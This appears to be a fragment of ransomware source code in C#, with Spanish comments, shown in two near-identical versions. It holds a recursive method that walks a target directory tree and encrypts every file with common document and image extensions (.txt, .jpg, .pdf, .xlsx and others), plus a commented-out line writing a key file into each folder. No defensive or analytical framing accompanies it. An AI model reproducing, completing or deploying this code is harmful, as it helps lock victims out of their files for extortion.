//recorro los directorios public void directoryRoad(string targetPath, string key) { CryptRSA cryptRSA = new CryptRSA(); var extensionCheck = new[] { ".txt", ".jpg", ".png", ".php", ".xlsx", ".pdf" };//Extensiones validas cryptRSA.EncryptText(targetPath, key); // File.WriteAllText(targetPath + "\\yourkey.key", encryptedKey);//escribo la llave en cada uno de los directorios string[] files = Directory.GetFiles(targetPath); string[] subDirs = Directory.GetDirectories(targetPath); try { for (int i = 0; i < files.Length; i++) { var extension = Path.GetExtension(files[i]); if (extensionCheck.Contains(extension)) { encryptFileData(files[i], key, targetPath); } } for (int i = 0; i < subDirs.Length; i++) { directoryRoad(subDirs[i], key); } } catch (Exception ex) { Console.WriteLine(ex.Message); } }
//recorro los directorios a cifrar. public void directoryRoad(string targetPath, string key) { CryptRSA cryptRSA = new CryptRSA(); var extensionCheck = new[] { "<extensions list here>" };//Extensiones validas para cifrar cryptRSA.EncryptText(targetPath, key); // File.WriteAllText(targetPath + "\\yourkey.key", encryptedKey);//escribo la llave en cada uno de los directorios string[] files = Directory.GetFiles(targetPath); //obtengo todos los archivos del directorio en el que me encuentro. string[] subDirs = Directory.GetDirectories(targetPath); //obtengo los subdirectorios del directorio en el que me encuentro. try { for (int i = 0; i < files.Length; i++) { var extension = Path.GetExtension(files[i]); if (extensionCheck.Contains(extension)) { encryptFileData(files[i], key, targetPath); } } for (int i = 0; i < subDirs.Length; i++) { directoryRoad(subDirs[i], key); } } catch (Exception ex) { Console.WriteLine(ex.Message); } }